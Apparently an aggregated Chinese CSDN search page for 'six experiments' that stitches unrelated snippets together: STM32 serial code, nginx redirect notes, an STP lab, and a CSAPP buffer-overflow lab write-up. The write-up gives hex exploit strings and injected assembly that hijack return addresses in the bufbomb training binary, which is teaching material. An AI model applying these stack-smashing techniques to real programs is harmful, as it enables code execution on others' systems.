精华内容
下载资源
问答
  • 控制理论实验仿真内含六个实验包含原理代码和图片-控制理论实验仿真——matlab.rar 控制理论实验仿真——matlab 六个实验, 1.典型环节的MATLAB仿真 2.线性系统时域响应分析 3.线性系统的根轨迹 4.线性系统的...
  • 数学建模的实验报告,分六个实验,希望对您有帮助
  • Windows Server 2003中的六个实验有: 实验一Windows Server2003本地帐户管理 实验二Windows Server 2003域结构网络的创建 实验三Windows Server 2003域账户管理 实验四Windows Server 2003NTFS文件系统应用 实验五...
  • 六个实验 rs485实验

    2017-11-21 22:09:32
    只有一main.c函数
    #include "stm32f10x.h"
    #include <stdio.h>
    int main(void)
    {
        GPIO_InitTypeDef GPIO_InitStructure; 
        USART_InitTypeDef USART_InitStructure;  //定义串口初始化结构体
        RCC_APB2PeriphClockCmd( RCC_APB2Periph_USART1 | RCC_APB2Periph_GPIOA,ENABLE);
        /*USART1_TX ->PA9*/   
        GPIO_InitStructure.GPIO_Pin = GPIO_Pin_9;        //选中串口默认输出管脚  
        //复用推挽输出模式 
        GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP;  //定义输出最大速率
        GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;//定义管脚9的模式 
        GPIO_Init(GPIOA , &GPIO_InitStructure);           //调用函数,把结构体参数输入进行初始化    
        /*USART1_RX ->PA10*/
        GPIO_InitStructure.GPIO_Pin = GPIO_Pin_10;     
      //浮空输入模式
        GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING; 
        GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
        GPIO_Init(GPIOA , &GPIO_InitStructure);
        /*串口通讯参数设置*/
        USART_InitStructure.USART_BaudRate = 9600; //波特率
        USART_InitStructure.USART_WordLength = USART_WordLength_8b; //数据位8位
        USART_InitStructure.USART_StopBits = USART_StopBits_1; //停止位1位
        USART_InitStructure.USART_Parity = USART_Parity_No;  //校验位 无
        USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None;//无流控制
        USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx;  //使能接收和发送引脚
        USART_Init(USART1, &USART_InitStructure);
     
       USART_ClearFlag(USART1,USART_FLAG_TC);
      USART_ITConfig(USART1, USART_IT_RXNE, ENABLE);
      USART_ITConfig(USART1, USART_IT_TXE, ENABLE);  
        USART_Cmd(USART1, ENABLE);
      
      printf("*************************************************************\r\n");
        printf("*                                                           *\r\n");
        printf("* Thank you for using The Development Board Of YuanDi ! ^_^ *\r\n");
        printf("*                                                           *\r\n");
        printf("*************************************************************\r\n");
        while (1)
        {
       //检查指定的串口标志设置与否
          while (USART_GetFlagStatus(USART1,USART_FLAG_RXNE) == RESET);
       //通过外设US ARTx发送单个数据
          USART_SendData(USART1,USART_ReceiveData(USART1));
        }
    }
     
    int fputc(int ch, FILE *f)
    {
      DIR485_Send();
      /* Place your implementation of fputc here */
      /* e.g. write a character to the USART */
      USART_SendData(USART, (uint8_t) ch);
      /* Loop until the end of transmission */
      while (USART_GetFlagStatus(USART, USART_FLAG_TC) == RESET)
      {
      }
      DIR485_Receive();
      return ch;
    }
    展开全文
  • XILINX Microblaze的六个实验,开发平台为EDK10.1,非常好的学习资料
  • XILINX Microblaze的官方的六个实验,开发平台为EDK10.1 里面有源代码 中文版的文档
  • CT107D单片机综合训练平台蓝桥杯单片机开发程序,此代码是本人参加蓝桥杯比赛前训练所写!
  • CT107D单片机综合训练平台蓝桥杯单片机开发程序,此代码是本人参加蓝桥杯比赛前训练所写
  • # vim main.html 创建新页面 [root@promote html]# systemctl restart nginx 此时测试机地址为192.168.88.10 改回正确ip 三、基于参数匹配的跳转 四、基于目录下所有php文件跳转 五、根据具体的页面跳转 、基于旧...

    一、基于域名的跳转

    [root@promote ~]# iptables -F
    [root@promote ~]# setenforce 0
    [root@promote ~]# rpm -Uvh http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm
    [root@promote ~]# yum install nginx -y

    安装nginx

    [root@promote ~]# vim /etc/nginx/conf.d/default.conf   //配置文件位置

    在这里插入图片描述

    [root@promote ~]# yum install bind -y
    [root@promote ~]# vim /etc/named.conf
    

    在这里插入图片描述

    [root@promote ~]# vim /etc/named.rfc1912.zones

    在这里插入图片描述

    [root@promote ~]# cd /var/named
    [root@promote named]# cp -p named.localhost shiyan.com.zone
    [root@promote named]# cp -p shiyan.com.zone newshiyan.com.zone

    在这里插入图片描述

    [root@promote named]# systemctl start named
    [root@promote named]# systemctl start nginx

    测试结果如下
    在这里插入图片描述

    在这里插入图片描述
    会自动跳转到新域名

    二、基于客户端 IP 访问跳转

    [root@promote named]# vim /etc/nginx/conf.d/default.conf

    在这里插入图片描述

    [root@promote named]# cd /usr/share/nginx/html/
    [root@promote html]# vim main.html
    

    在这里插入图片描述

    创建新页面

    [root@promote html]# systemctl restart nginx

    此时测试机地址为192.168.88.10
    在这里插入图片描述

    在这里插入图片描述
    改回正确ip
    在这里插入图片描述

    三、基于参数匹配的跳转

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

    四、基于目录下所有php文件跳转

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    五、根据具体的页面跳转

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    六、基于旧域名跳转到新域名后面加目录

    在这里插入图片描述
    在这里插入图片描述

    [root@promote named]# vim shiyan.com.zone

    在这里插入图片描述

    [root@promote named]# systemctl restart nginx
    [root@promote named]# systemctl restart named

    在这里插入图片描述

    在这里插入图片描述

    展开全文
  • 长春理工大学软件质量保证与测试报告,包括性能测试,单元测试,自动化测试,版本控制实验,反编译,bug管理,超全
  • CSAPP 六个重要实验 lab3 实验材料CSAPP 六个重要实验 lab3 实验材料
  • CSAPP 六个重要实验 lab2 实验材料
  • CSAPP 六个重要实验 lab4 实验材料
  • CSAPP 六个重要实验 lab4 实验指导书
  • 实验六 STP实验

    2019-12-29 12:03:55
    根据所学习的stp知识,设计一个实验拓扑,至少要有3台交换机,交换机连接要有环路,pc数量自行规划。 设计实验完成如下验证: 关闭STP,验证环路对交换机的影响:广播风暴和地址震荡 三、实验环境 硬件:网络环...

    一、 实验目的

    1. 了解stp协议的基本配置;

    二、 实验要求

    根据所学习的stp知识,设计一个实验拓扑,至少要有3台交换机,交换机连接要有环路,pc数量自行规划。
    设计实验完成如下验证:
    关闭STP,验证环路对交换机的影响:广播风暴和地址震荡

    三、实验环境

    1. 硬件:网络环境、
    2. 操作系统:windows平台
    3. 相关软件:VirtualBox、Wireshark、ensp等

    四、实验步骤与内容

    4.1实验拓扑图
    在这里插入图片描述

    4.2实验原理(stp都关掉了):

    广播风暴:pc1发广播包给pc2,LSW1泛洪转发,LSW2也泛洪转发,在LSW1和LSW2构成的环路中不停的泛洪转发,导致了广播风暴,解决方法很简单,就是开启stp协议或者链路聚合。
    地址震荡:首先pc1 ping pc2,通了之后把stp协议关掉,把三个交换机上的mac-address清除,这样就相当于pc1和pc2分别知道对方的arp地址。

    在这里插入图片描述
    在这里插入图片描述
    具体分析看下图:
    在这里插入图片描述
    PC1和PC2交换机先循环,不断变换着PC1 mac地址的绑定权,等到PC2回应包来的时候,PC1和PC2就不断变换着PC1和PC2mac地址的绑定权。
    4.3 实验截图
    广播风暴:
    在这里插入图片描述
    地址震荡:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    五、 实验小结

    地址震荡的具体怎么变化需要仔细分析,可以通过抓包然后过滤。
    Stp协议的主要用处就是消除环路的,但用这个协议不可避免地会占用很多资源,所以最好在一开始就把线路配成环路较少的或没有环路为上上之策。

    展开全文
  • csapp 深入理解计算机系统 六个重要实验之lab2 实验报告
  • 嵌入式EDK学习,包含工程的建立,代码的生成,六个官方实验
  • CSAPP 六个重要实验 lab3

    千次阅读 2014-09-15 17:00:36
    CSAPP 六个重要实验 lab3

    CSAPP && lab3



                   In this lab, you will gain firsthand experience with one of the methods commonly used to exploit security weaknesses in operating systems and network servers. Our purpose is to help you learn about the runtime operation of programs and to understand the nature of this form of security weakness so that you can avoid it when you write system code. We do not condone the use of these or any other form of attack to gain unauthorized access to any system resources. There are criminal statutes governing such activities.



    实验指导说明:

    http://download.csdn.net/detail/u011368821/7920313

    实验材料:

    http://download.csdn.net/detail/u011368821/7920335












    The Exploits


                   There are three functions that you must exploit for this lab. The exploits increase in difficulty. For those of you looking for a challenge, there is a fourth function you can exploit for extra credit.


    Level 0: Candle


                  When getbuf() executes its return statement, the program ordinarily resumes execution within function test(). Within the file bufbomb, there is a function smoke():

    void smoke()
    {
    entry_check(0); /* Make sure entered this function properly */
    printf("Smoke!: You called smoke()\n");
    validate(0);
    exit(0);
    }


                 Your task is to get bufbomb to execute the code for smoke() when getbuf() executes its return statement, rather than returning to test().You can do this by supplying an exploit string that overwrites the stored return pointer in the stack frame for getbuf() with the address of the first instruction in smoke. Note that your exploit string may also corrupt other parts of the stack state, but this will not cause a problem, because smoke() causes the program to exit directly.


    Advice:


        • All the information you need to devise your exploit string for this level can be determined by examining a disassembled version of bufbomb.

    • Be careful about byte ordering.
        • You might want to use gdb to step the program through the last few instructions of getbuf() to make sure it is doing the right thing.
        • The placement of buf within the stack frame for getbuf() depends on which version of gcc was used to compile bufbomb. You will need to pad the beginning of your exploit string with the proper number of bytes to overwrite the return pointer. The values of these bytes can be arbitrary.
        • Check the line endings if your smoke.txt with hexdump -C smoke.txt.




    我了个大X,调了几天才搞明白怎么用“溢出缓冲区攻击"



    利用先构建一个输入文本,记录要数据的字符(溢出用)

    我这里是 

    exploit.txt

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 01 02 03 04 05 06 07 08 c0 10 40 00 00 00 00 00

    这里一定不要有换行符号(如果有也没关系,去生成的文件里,用vim打开编辑了之后去掉就是了)

    这里一共0x28byt + 8 byte +8byte+8byte == 0x40byte

    第一个0x28byte 是由于64bits的机器字节对齐导致的36byte的数组被扩展到0x28byte. 

    而第一个+的8byte应该某个寄存器值(但是我一直没搞明白究竟什么寄存器... 而且也没看到明显的压栈操作. 换而言之,我觉得更可能这里不是一个寄存器,而本来就是buf数组对齐到了0x30字节)

    而后的8byte是之前 push %rbp 寄存器的value

    最后的8byte是return address,也就是我们要”攻击“的地方!

    考虑到机器的大小端.

    smoke的地址是

    00 00 00 00 00 40 10 c0

    写入的时候应该是

     c0 10 40 00 00 00 00 00



    这里把生成的数据记录到exploit.byte里面

    接着把该文件作为输入就是啦~ : )




    Level 1: Sparkler

    问题解决基础:




    /* $begin fizz-c */
    void fizz(int arg1, char arg2, long arg3, char* arg4, short arg5, short arg6, unsigned long long val)
    {
      entry_check(1);  /* Make sure entered this function properly */
      if (val == cookie) {
    	printf("Fizz!: You called fizz(0x%llx)\n", val);
    	validate(1);
      } else {
    	printf("Misfire: You called fizz(0x%llx)\n", val);
      }
      exit(0);
    }
    /* $end fizz-c */



                   Similar to Level 0, your task is to get bufbomb to execute the code for fizz() rather than returning to test.In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument. You can do this by encoding your cookie in the appropriate place within your exploit string.


    Advice:

    Note that in x86-­64, the first six arguments are passed into registers and additional arguments are passed through the stack. Your exploit code needs to write to the appropriate place within the stack.


    You can use gdb to get the information you need to construct your exploit string. Set a breakpoint within getbuf() and run to this breakpoint. Determine parameters such as the address of global_value and the location of the buffer.





    在破坏原来test()调用getbuf push的return address之后,跳转到fizz,此时看到题目要求是要把cookie作为fizz的参数输入,根据反汇编得到的信息,我们可以看见这里

    cmp 0x201296(%rip) %rsi

    如果相等就会跳转到0x40109f接着顺利退出.

    由于之前rsp寄存器的值没有被破坏,于是我们反推,如果”攻击rsp“的值,使得0x10(%rsp)指向 cookie

    那么就可以顺利退出了!


    由于最后leaveq的时候会把保存好的%rbp重新赋值给%rsp,于是

    我们这里可以转而攻击保存好的%rbp,来实现间接改变%rsp



    cmp 0x201296(%rip) %rsi

    死死的扣住这句不放,这里吧0x201296(%rip) 地址处的值和%rsi的值比较

    0x201296(%rip)

    就是cookie的地址,然后这里%rsi是参数val的地址

    cmp把cookie地址处的值!注意是cookie地址处的值,和%rsi比较

    如果想等才能正确返回否则你看到的永远是missfire!


    这里给出我的解

    首先查看cookie地址处的值然后输入



    exploit_for_level1.txt

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 20 23 60 00 00 00 00 00 70 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 c2 46 c1 21 48 ca 33 39
    

                 细心的人会发现,我这里在return address之上还多填了8byte的空间,接着才填充我们的答案.

    这是因为return addres之上还有什么我这里确实不清楚,不过我这里这么做是根据反汇编的结果测试并计算出来的.

    有心人可以一起讨论这里跳转到fizz之后之前寄存器的变化 : ) jasonleaster@gmail.com





    然后把exploit_for_level1.byte作为输入即可




    Level 2: Firecracker

     

                    A much more sophisticated form of buffer attack involves supplying a string that encodes actual machine instructions. The exploit string then overwrites the return pointer with the starting address of these instructions. When the calling function (in this case getbuf) executes its ret instruction, the program will start executing the instructions on the stack rather than returning. With this form of attack, you can get the program to do almost anything. The code you place on the stack is called the exploit code. This style of attack is tricky, though, because you must get machine code onto the stack and set the return pointer to the start of this code.

                  For level 2, you will need to run your exploit within gdb for it to succeed. (attu has special memory protection that prevents execution of memory locations in the stack. Since gdb works a little differently, it will allow the exploit to succeed.)


                 Similar to Levels 0 and 1, your task is to get bufbomb to execute the code for bang() rather than returning to test(). Before this, however, you must set global variable global_value to your cookie. Your exploit code should set global_value, push the address of bang() on the stack, and then execute a retq instruction to cause a jump to the code for bang().


    Advice:
                Determining the byte encoding of instruction sequences by hand is tedious and prone to errors. You can let tools do all of the work by writing an assembly code file containing the instructions and data you want to put on the stack. Assemble this file with gcc and disassemble it with objdump. You should be able to get the exact byte sequence that you will type at the prompt. (A brief example of how to do this is included in the Generating Byte Codes section above.)

                Keep in mind that your exploit string depends on your machine, your compiler, and even your cookie. Make sure your exploit string works on attu or your VM, and make sure you include your UWNetID on the command line to bufbomb.


               Watch your use of address modes when writing assembly code. Note that movq $0x4, %rax moves the value
    0x0000000000000004 into register %rax; whereas movq 0x4, %rax moves the value at memory location
    0x0000000000000004 into %rax. Because that memory location is usually undefined, the second instruction will
    cause a segmentation fault!

               Do not attempt to use either a jmp or a call instruction to jump to the code for bang(). These instructions use PC­ relative addressing, which is very tricky to set up correctly. Instead, push an address on the stack and use the retq instruction.



    首先观察发现这里cmp 相等就会跳转并安全结束.

    比较的两个对象是0x602320指向的value,而%rsi是global_value.

    cookie的值在我们输入的时候就定了. 这里能改的就是global_value处(即0x602308处)的值了。

    普通的做法是搞不定的.




    这里必须自己写一段攻击代码——汇编形式的

    然后在这段代码里面把cookie的值赋值给global_value,就成功了一半了,


    接着把这段代码gcc -c 编译成obj。然后objdump去看相应的机器码


    我的攻击代码

    mov	$0x3933ca4821c146c2 ,%rax
    mov	$0x602308  ,%rbx
    mov	%rax	   ,(%rbx)
    push    $0x401020
    retq


    mov 0x602330,%rax 就对应的机器码就是

    48 8b 04 25 20 23 60

    不解释了

    值得一提的是这里有


    pushq $0x401020

    和retq操作(稍后解释用途)




    然后把这些机器码写到buffer里面去!

    试想一下这里如果我覆盖的reture address是只想buffer头的,那么在buffer处的这些指令就得以执行.

    接着当这些指令执行到最后的时候

    pushq $0x401020

    retq

    这步就可以跳转到0x401020(bang函数头)。执行 bang函数,我们已经在攻击代码里面修改了global_value,那么cmp的结构就是0,je跳转,程序安全结束.


    填入buffer的数据

    48 b8 c2 46 c1 21 48 ca 33 39 48 c7 c3 08 23 60 00 48 89 03 68 20 10 40 00 c3 31 32 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 b0 b6 ff ff ff 7f 00 00

    这里一定要注意中间空缺的位置不要填充00 我这里填充的31 32 ... 如果填充00 会导致segment fault(悲催,为这个bug纠结好久!)





    Extra Credit – Level 3: Dynamite


                      For level 3, you will need to run your exploit within gdb for it to succeed. Our preceding attacks have all caused the program to jump to the code for some other function, which then causes the program to exit. As a result, it was acceptable to use exploit strings that corrupt the stack, overwriting the saved value of register %rbp and the return pointer.


                       The most sophisticated form of buffer overflow attack causes the program to execute some exploit code that patches up the stack and makes the program return to the original calling function (test() in this case). The calling function is oblivious to the attack. This style of attack is tricky, though, since you must: (1) get machine code onto the stack, (2) set the return pointer to the start of this code, and (3) undo the corruptions made to the stack state.

                   Your job for this level is to supply an exploit string that will cause getbuf() to return your cookie back to test(), rather than the value 1. You can see in the code for test() that this will cause the program to go "Boom!". Your exploit code should set your cookie as the return value, restore any corrupted state, push the correct return location on the stack, and execute a ret instruction to really return to test().

    Advice:
                    In order to overwrite the return pointer, you must also overwrite the saved value of %rbp. However, it is important that this value is correctly restored before you return to test(). You can do this by either (1) making sure that your exploit string contains the correct value of the saved %rbp in the correct position, so that it never gets corrupted, or (2) restore the correct value as part of your exploit code. You'll see that the code for test() has some explicit tests to check for a corrupted stack.

                    You can use gdb to get the information you need to construct your exploit string. Set a breakpoint within getbuf() and run to this breakpoint. Determine parameters such as the saved return address and the saved value of %rbp.
                    Again, let tools such as gcc and objdump do all of the work of generating a byte encoding of the instructions.

                    Keep in mind that your exploit string depends on your machine, your compiler, and even your cookie. Again, again make sure your exploit string works on attu or the VM, and make sure you include your UWNetID on the command line to bufbomb.

                    Reflect on what you have accomplished. You caused a program to execute machine code of your own design. You have done so in a sufficiently stealthy way that the program did not realize that anything was amiss.
    execve is system call that replaces the currently running program with another program inheriting all the open file descriptors.


                     What are the limitations the exploits you have preformed so far? How could calling execve allow you to circumvent this limitation? If you have time, try writing an additional exploit that uses execve and another program to print a message.


    攻击用的汇编代码:

    exploit_for_level3.S

    mov	$0x3933ca4821c146c2 ,%rax //the first value is the cookie
    mov	$0x7fffffffb710 ,%rbp     //the first value is the %rbp of <test>
    push    $0x400ef3		  //make the return address point to the next instruction of getbuf()
    retq


    利用sendstring 做成输入参数

    48 b8 c2 46 c1 21 48 ca 33 39 48 bd 10 b7 ff ff ff 7f 00 00 68 f3 0e 40 00 c3 31 32 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 d8 b6 ff ff ff 7f 00 00 b0 b6 ff ff ff 7f 00 00


    水到渠成




    OK~ lab3 finished!



    《三等车厢》

                      杜米埃的风俗题材作品,大都是描绘他亲身经历过的事。三等车厢的状况,就是记录画家经常外出乘车的经历。画面拥挤的狭小空间里,突出描绘前排三个人物,概括表现后面一群人,以坐椅靠背分隔前后,这是生活中极平常的现象,但揭示了法国社会的等级制,在这三等车厢里坐着的都是处于社会底层的公民。三个主体特写人物中,最突出的是位满脸皱纹的老妇人,人们从她的神态可见她的生活经历。靠着她左右的两个人,一个入睡的少年和一位带婴儿的母亲,他们的形象本身可明白表现出他们的社会地位,背后的人群可从不同面貌的头像中体现不同人物的地位和个性。这有限的画面空间,成了法国下层社会的一个缩影。




    2015.05.29 update

    遇到有童鞋提出问题, 这个地方我之前也有点不明白,而且现在的gcc模仿函数getbuf编译出来的汇编代码和实验提供的汇编代码关于压栈的部分不一致, 所以很困惑。

    后面有对这个知识点新的领悟和理解会及时更新...

    http://blog.csdn.net/cinmyheart/article/details/46240925



    展开全文
  • ucore实验一的六个练习。我得想想sign.c和bootasm.s的注释怎么传上来
  • 通过这个实验了解了类的封装过程 (2).了解了类的封装到底是怎么样实现的,如何去做的 实验七 1.部分代码 2.实验结果: 3.实验心得: (1).了解了类的多态性 (2).知道类的多态是如何实现的 ...
  • 实验六

    2021-04-19 20:01:11
    实验六 1.问题 在长度为N的乱序数组中寻找第K(N>=k)小的元素 2.解析 用分治的策略,首先选择一基准数也称为枢纽元,通过一趟排序将数组分割成独立的两部分,枢纽元左边的数都不大于它,枢纽元右边的数都不小...
  • CSAPP 六个重要实验 lab2

    万次阅读 2014-09-10 21:37:39
    哈哈~ 不愧是“美国进口的级炸弹”!爽歪歪的“升级打怪” 我把实验材料都上传到下面这link了,0分下载(良心啊~)
  • 这是第六个实验,实验五的博客我没有写,不是因为太简单了,而是因为太难了,当初给我直接干蒙圈了,其实实验五的代码很简单,就是深入底层配置寄存器原理,我就直接跪了,想要把实验五的博客写出来,至少又得几万字...
  • 实验32 MPU6050轴传感器实验 主要是针对MPU6050的6轴的实验

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 5,167
精华内容 2,066
关键字:

六个实验